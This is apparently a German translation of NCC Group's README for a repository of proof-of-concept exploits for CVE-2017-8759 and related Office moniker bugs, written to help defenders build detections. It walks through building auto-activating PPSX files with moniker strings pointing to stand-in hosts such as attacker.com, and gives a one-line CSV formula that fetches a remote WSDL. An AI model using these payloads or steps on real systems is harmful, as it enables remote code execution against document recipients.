nccgroup/cve-2017-8759NCC Group's Analyse und Ausnutzung von CVE-2017-8759 sowie weitere Verfeinerungen
Dieses Repository enthält Beispiel-Exploits für CVE-2017-8759 für Microsoft PowerPoint sowie eine Beschreibung, wie ähnliche Schwachstellen mit denselben Techniken ausgenutzt wurden und werden können.
Ziel der Veröffentlichung dieses Repositorys ist es, alternative Ausnutzungstechniken hervorzuheben, die Verteidigern derzeit möglicherweise nicht bekannt sind. Durch die Hervorhebung dieser alternativen Techniken hoffen wir, dass Verteidiger robuste Erkennungsmaßnahmen implementieren und sowohl Fehlalarme (im Fall der fälschlichen Identifizierung anderer Moniker-Exploits als CVE-2017-0199) als auch falsch negative Ergebnisse (wenn nur die RTF-Erkennungen im Fokus stehen) vermeiden können.
Im April, als ich die Nachricht hörte, dass eine neue nicht gepatchte Sicherheitslücke in freier Wildbahn ausgenutzt wurde, versuchte ich, den Exploit nachzubauen, damit Erkennungsregeln bereits vor der öffentlichen Bekanntgabe der Schwachstelle erstellt werden konnten. Damals hatte ich jedoch nur die Beschreibung der Sicherheitslücke aus den Blogbeiträgen von FireEye und McAfee. Aufgrund des Mangels an öffentlichen Details führte mich dies schließlich dazu, die Sicherheitslücke (wie sich herausstellte) mit einer völlig anderen Methode auszunutzen als der, die von dem in freier Wildbahn beobachteten „RTF-URL-Moniker"-Exploit verwendet wurde.
Etwa einen Monat später hob Haifei Li in seinem SyScan360-Vortrag die zweite Sicherheitslücke (auch bekannt als „PPSX-Script-Moniker") hervor, die er identifiziert und bereits im Januar 2017 gemeldet hatte. Diese wurde ebenfalls mit demselben CVE-2017-0199-Patch behoben, aber (sowohl vom Autor als auch ) unter Verwendung des PPSX-Dateiformats ausgenutzt. Zu diesem Zeitpunkt war mir noch kein Angriff in freier Wildbahn bekannt, der den URL-Moniker-Bug über PPSX nutzte – da jedoch beide Fehler mit demselben CVE behoben wurden, gab (und gibt) es einige Verwirrung über die Erkennung dieser Exploits (später mehr dazu).
Schnellvorlauf bis September 2017: FireEye entdeckte eine weitere Sicherheitslücke, die das RTF-Format in Microsoft Word verwendete. Dies veranlasste mich, meinen vorherigen „PPSX-URL-Moniker"-Exploit erneut zu untersuchen, um herauszufinden, ob der neue „SOAP-Moniker"-Bug auch mit derselben PPSX-Technik ausnutzbar war.
Wie oben erwähnt, handelte es sich bei der vorherigen Sicherheitslücke (CVE-2017-0199) tatsächlich um zwei separate Schwachstellen, die von Microsoft unter derselben CVE-Nummer gepatcht wurden. Die erste (auch bekannt als „URL-Moniker"-Bug) wurde über RTF ausgenutzt, während die zweite (auch bekannt als „Script-Moniker"-Bug) eine völlig andere Technik verwendete und über das OOXML-Format, speziell PPSX, ausgenutzt wurde.
Wie ebenfalls bereits erwähnt, ist die OOXML-Technik nicht auf die Script-Moniker-Schwachstelle beschränkt und kann verwendet werden, um den „URL-Moniker", den „Script-Moniker" und die neue „SOAP-Moniker"-Schwachstelle auszunutzen.
Die Ausnutzung in OOXML ist recht einfach und nutzt einige Tricks, um das anfällige Objekt automatisch zu aktivieren. Zuerst werde ich den URL-Moniker-Exploit behandeln und dann erklären, wie er für die Script- und SOAP-Moniker (und möglicherweise in Zukunft weitere) aktualisiert werden kann.
Zuerst muss ein Link zu einer Datei eingebettet werden (bezeichnet als StdOleLink oder OLE2Link). Ich habe in meinem Exploit einen Link zu einer PowerPoint-Datei verwendet – wie unten gezeigt. Dies wird später benötigt, um den Moniker zu aktivieren.
Sobald der Link platziert wurde, muss der Pfad so geändert werden, dass er die Moniker-Zeichenfolge enthält. Im Fall des „URL-Moniker"-Bugs ist dies so einfach wie das Hinzufügen einer URL, die direkt auf eine HTA-Datei verweist (z. B. „http://attacker.com/evil.hta"). Für die Script-Moniker-Version können Sie die Zeichenfolge „script:https://attacker.com/evil.sct" verwenden. Der Dateipfad zum verlinkten Objekt wird an folgender Stelle gespeichert:
ppt\slides\_rels\slide1.xml.rels
Es reicht aus, diese einfach in eine Moniker-Zeichenfolge zu ändern, um die Sicherheitslücke auszulösen, wenn das verlinkte Objekt aktiviert wird. Dies geschieht jedoch nicht automatisch, es sei denn, Sie verwenden einen weiteren Trick.
Um das Objekt automatisch zu aktivieren, können Sie ein sogenanntes „OLE Verb" verwenden. Einfach ausgedrückt bewirkt dies, dass PowerPoint das Objekt „aktiviert", die Methode IMoniker::BindToObject() aufruft und schließlich die Ausführung Ihres Codes zur Folge hat (abhängig vom Moniker werden danach unterschiedliche Pfade eingeschlagen).
Um ein OLE Verb zu verwenden, wählen Sie einfach das eingebettete Objekt aus und gehen Sie zu:
Animationen -> Animation hinzufügen -> OLE-Aktionsverben -> Öffnen
Sobald die OLE-Verb-Animation erstellt ist, können Sie „Start: mit vorherigem" auswählen, um sicherzustellen, dass das Objekt sofort nach Start der Diashow aktiviert wird.
Wenn Sie an diesem Punkt das Dokument als PPTX speichern und öffnen, werden Sie aufgefordert, Links zu aktualisieren. Dies ist aus einem Ausnutzungsszenario unerwünscht.
Um dies zu umgehen, können Sie die Datei einfach als PPSX (PowerPoint-Diashow) speichern. Dadurch wird die Diashow beim Öffnen automatisch gestartet (und somit das OLE Verb ausgelöst, um Ihren Code auszuführen).
Wie im FireEye-Blogbeitrag beschrieben, liegt die Sicherheitslücke tatsächlich im .NET-Framework und nicht in Office selbst. Dies ist auf eine Code-Injection beim Parsen einer WSDL-Datei mit mehreren Adressdefinitionen zurückzuführen. Wenn eine CRLF-Sequenz injiziert wird, ist es möglich, beliebigen Code zur generierten C#-Datei hinzuzufügen, der später in eine DLL kompiliert und von der Office-Anwendung geladen wird.
Der Fehler selbst befindet sich in der Methode IsValidUrl in der Klasse WsdlParser von System.Runtime.Remoting. Vor dem CVE-2017-8759-Patch prüft diese Methode nicht auf CRLF-Zeichen und gibt einfach die unbereinigte Zeichenfolge zurück (nachdem sichergestellt wurde, dass die Zeichenfolge ordnungsgemäß zitiert ist), die dann in eine .cs-Datei zur Kompilierung durch csc.exe geschrieben wird. Dies bedeutet, dass ein Angreifer, der eine URL mit \r\n übergibt, beliebigen Code in die generierte C#-Datei injizieren kann. Der Grund, warum die CRLF-Injection funktioniert, ist, dass die Methode PrintClientProxy normalerweise versucht, nachfolgende Definitionen auszukommentieren, wenn eine WSDL-Datei mit mehreren Adressdefinitionen geparst wird, wie unten gezeigt.
Ungepatchtes IsValidUrl:
PrintClientProxy:
Das Problem hierbei ist, dass IsValidUrl immer noch für die sekundäre Adress-URL aufgerufen wird, bevor sie an die auskommentierte Zeile angehängt wird. Wenn ein Angreifer CRLF-Zeichen in einer zweiten Adressdefinition hinzufügt, können sie beim Parsen des Codes durch IsValidUrl aus der auskommentierten Zeile ausbrechen und ihren eigenen C#-Code injizieren.
Nach dem CVE-2017-8759-Patch enthält die Klasse WsdlParser jetzt eine neue Methode namens TransliterateString. Wenn jetzt IsValidUrl aufgerufen wird, prüft der Code zunächst, ob der boolesche Wert AppSettings.AllowUnsanitizedWSDLUrls gesetzt ist. Wenn dieser auf true gesetzt ist, nimmt der Code denselben Pfad wie vor dem Patch (erlaubt CRLF-Injection). Wenn dieser jedoch auf false gesetzt ist, wird die neue Methode TransliterateString aufgerufen. Diese neue Methode codiert einfach alle nicht-alphabetischen Zeichen als escaped Unicode und stellt so sicher, dass keine Zeilenumbruchzeichen injiziert werden können.
Gepatchtes IsValidUrl:
TransliterateString:
Um den Patch zu demonstrieren, habe ich eine einfache Testumgebung in C# erstellt und versucht, eine Zeichenfolge mit CRLF-Zeichen zu parsen. Die Ausgabe ist unten dargestellt. Beachten Sie, dass die Zeichenfolge jetzt codiert wird, wenn die gepatchte Methode aufgerufen wird und AllowUnsanitizedWSDLUrls auf false gesetzt ist.
Bei der Untersuchung, wie diese Sicherheitslücke ausgenutzt werden kann, habe ich eine Testumgebung erstellt, um die Codeausführung außerhalb von Office zu testen. Ich habe dafür JScript zusammen mit der Methode GetObject verwendet, aber Sie könnten auch soapsuds.exe verwenden. Dies wurde mit der WSDL-Datei aus der Malware-Stichprobe getestet, um zu untersuchen, wie es funktioniert, und die Sicherheitslücke zu bestätigen.
Sobald ich den Exploit mit GetObject zum Laufen gebracht hatte, modifizierte ich einfach die rels-Datei, wie zuvor gezeigt, um einen SOAP-Moniker in der Form „soap:wsdl=http://attacker.com/evil.whatever" einzufügen.
Nachdem ich den Exploit erstellt hatte, lud ich ihn auf Virus Total hoch (wie ich es auch bei früheren Beispielen getan hatte) und erhielt einige überraschende Ergebnisse. Es stellte sich heraus, dass er von nur einer AV-Engine erkannt und fälschlicherweise als CVE-2017-0199 identifiziert wurde. Eine andere von mir hochgeladene Probe schien ebenfalls als CVE-2017-0199 getaggt zu sein. Dies scheint aufgrund der Ähnlichkeiten mit den vorherigen Exploit(s) nachvollziehbar, es besteht jedoch die Sorge, dass dies zu Verwirrung führen oder im schlimmsten Fall dazu führen könnte, dass neu entdeckte Moniker-Exploits übersehen werden, weil sie als ältere, bereits gepatchte Sicherheitslücke abgetan werden.
Starten Sie zunächst einen lokalen Webserver im selben Ordner wie die Exploit-Dateien:
python -m SimpleHTTPServer 80
Öffnen Sie nun die Datei exploit.ppsx. Wenn alles gut geht, sollten Sie sehen, wie PowerPoint sowohl logo.png als auch w00t.hta von Ihrem lokalen Dateiserver abruft, und calc.exe wird ausgeführt.
Nachdem ich über den PPSX-Exploit auf Twitter gepostet hatte, kontaktierte mich Jacob Soo und schlug vor, dass ich versuchen sollte, die Sicherheitslücke in Microsoft Excel auszunutzen. Ich habe es versucht, und tatsächlich hatte er recht – ich konnte mit einer einzigen Eingabeaufforderung eine calc.exe starten.
Dies ist interessant, da bereits darauf hingewiesen wurde, dass CSV- (und SLK-Dateien) den geschützten Modus nicht auslösen. Dies bedeutet, dass die Anzahl der Eingabeaufforderungen, die einem Benutzer angezeigt werden, wenn ihm entweder eine RTF-, PPSX- oder CSV/SLK-Datei von einem Internetstandort gesendet wird, genau gleich ist (da erstere die geschützte Ansicht auslösen). Darüber hinaus passieren CSV-Dateien aufgrund ihres Klartext-Charakters und ihrer meist relativ harmlosen Natur oft die Perimeter-Verteidigung (wie Web-Proxys oder E-Mail-Spam-Filter).
Das Ausnutzen dieses Fehlers in Excel ist so einfach wie das Einfügen eines Links zur WSDL-Datei. Beachten Sie, dass wir im folgenden Beispiel die ProgID „GC" verwenden (einfach weil es die kürzeste war, die ich finden konnte), aber dies kann jede gültige ProgID sein, um den Moniker zu aktivieren.
=GC|'soap:wsdl=https://git.io/v5DMF '!''''
Das Speichern der obigen Zeichenfolge als CSV reicht aus, um die Sicherheitslücke auszunutzen – kurz genug für einen Tweet! Darüber hinaus ist es aufgrund seiner Kürze schwieriger (wenn auch natürlich nicht unmöglich), Erkennungssignaturen zu erstellen, und daher halte ich es für wichtig, dies Verteidigern gegenüber hervorzuheben, damit Excel-basierte Angriffe in Zukunft identifiziert werden können.
Microsoft hat am 12.09.2017 einen Patch für diese Sicherheitslücke veröffentlicht.
Einige Yara-Regeln für CVE-2017-8759-Varianten wurden von Florian Roth und Security Doggo veröffentlicht.
Ich habe auch erstellt: